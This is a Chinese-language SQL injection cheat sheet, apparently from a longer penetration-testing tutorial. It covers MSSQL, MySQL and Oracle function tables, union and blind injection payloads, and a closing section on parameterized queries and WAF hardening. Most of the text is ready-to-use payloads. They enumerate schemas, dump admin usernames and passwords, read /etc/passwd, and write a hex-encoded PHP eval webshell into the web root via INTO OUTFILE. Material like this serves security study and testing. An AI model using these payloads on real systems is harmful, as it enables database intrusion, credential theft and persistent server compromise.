SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");
reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);
reader.Close();
conn.Close();
DB | 连接符 | 行注释 | 唯一的默认表变量和函数 |
---|---|---|---|
MSSQL | %2B(URL+号编码)(e.g. ?category=sho’%2b’es) | -- | @@PACK_RECEIVED |
MYSQL | %20 (URL空格编码) | # | CONNECTION_ID() |
Oracle | || | -- | BITAND(1,1) |
PGsql | || | -- | getpgusername() |
Access | “a” & “b” | N/A | msysobjects |
3.4 SQL常用语句
SQL常用语句
内容 | MSSQL | MYSQL | ORACLE |
---|---|---|---|
查看版本 | select @@version | select @@version select version() | Select banner from v$version; |
当前用户 | select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; | select user(); select system_user(); | Select user from dual |
列出用户 | select name from master..syslogins; | select user from mysql.user; | Select username from all_users ORDER BY username; Select username from all_users; |
当前库 | select DB_NAME(); | select database(); | Select global_name from global_name; |
列出数据库 | select name from master..sysdatabases; | select schema_name from information_schema.schemata; | Select ower,table_name from all_users; #列出表明 |
当前用户权限 | select is_srvolemenber(‘sysadmin’); | select grantee, privilege_type,is_grantable from information schema.user privileges; | Select * from user role_privs; Select * from user_sys_privs; |
服务器主机名 | select @@servername; | / | Select sys_context(‘USERENV’,’HOST’) from dual; |
3.5 盲注函数
数据 | MSSQL | Mysql | oracle |
---|---|---|---|
字符串长度 | LEN() | LENGTH() | LENGTH() |
从给定字符串中提取子串 | SUBSTRING(string,offset,length) | SELECT SUBSTR(string,offset,length) | SELECT SUBSTR(string,offset,length) From dual |
字符串(‘ABC’)不带单引号的表示方式 | SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) | Select char(65,66,67) | Select chr(65)||chr(66)+chr(67) from dual |
触发延时 | WAITFOR DELAY ‘0:0:9’ | BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) | BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST() |
IF语句 | If (1=1) select ‘A’ else select ‘B’ | SELECT if(1=1,’A’,’B’) | / |
PS:SQLMAP 针对Oracle注入时,使用了比较费解的SUBSTRC,好多时候得中转更改为SUBSTR.
常用语句
数据库 | 语句(大多需要配合编码) |
---|---|
Oracle |
oder by N # 爆出第一个数据库名 and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual # 依次爆出所有数据库名,假设第一个库名为first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual 爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。 有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下: and (select column_name from user_tab_columns where column_name like '%25pass%25')<0 爆出表tablename中的第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual 依次下一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual 若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。 若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。 |
Mysql |
#正常语句 192.168.192.128/sqltest/news.php?id=1 #判断存在注入否 192.168.192.128/sqltest/news.php?id=1 and 1=2 #确定字段数 order by 192.168.192.128/sqltest/news.php?id=-1 order by 3 #测试回显字段 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3 #测试字段内容 192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3 192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3 #查询当前库下所有表 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #查询admin表下的字段名(16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e #查询admin表下的用户名密码 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin #读取系统文件(/etc/passwd,需转换为16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) #文件写入 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'-- PS:若权限不足,换个目录 |
MSSQL |
PS:回显型请查阅参考资料的链接,这里主要盲注的语法。 #爆数据库版本(可先测长度) aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0 ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。 #爆当前数据库名字 aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0 #爆表 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0 #爆user表内字段 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0 #爆数据 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0 |
PS:关于注入绕过(bypass),内容偏多、过细,本次暂不归纳。单独一篇
安全加固
6.1 源码加固
1.预编译处理
参数化查询是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数来给值。在SQL语句中,这些参数通常一占位符来表示。
MSSQL(ASP.NET)
为了提高sql执行速度,请为SqlParameter参数加上SqlDbType和size属性
PHP
// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare,得到 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 获取数据
foreach($stmt as $row) {
var_dump($row);
}
JAVA
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();
PS:尽管SQL语句大体相似,但是在不同数据库的特点,可能参数化SQL语句不同,例如在Access中参数化SQL语句是在参数直接以“?”作为参数名,在SQL Server中是参数有“@”前缀,在MySQL中是参数有“?”前缀,在Oracle中参数以“:”为前缀。
2.过滤函数的使用
- addslashes()
- mysql_escape_string()
- mysql_real_escape_string()
- intval()
3.框架及第三方过滤函数与类
JAVA hibernate框架
Others
6.2 产品加固
- Web应用防火墙——WAF
- Key:云waf、安全狗、云锁、sqlchop